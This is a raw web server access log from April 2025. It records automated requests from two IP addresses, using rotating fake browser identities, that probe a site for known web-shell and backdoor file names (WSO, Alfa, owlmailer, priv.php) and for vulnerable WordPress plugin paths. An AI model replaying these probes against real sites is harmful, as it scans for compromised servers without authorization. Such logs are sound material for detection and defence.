[23/Apr/2025:03:24:23 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:23 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:24 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:24 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:24:25 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:25 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:26 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:26 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:27 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:27 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" 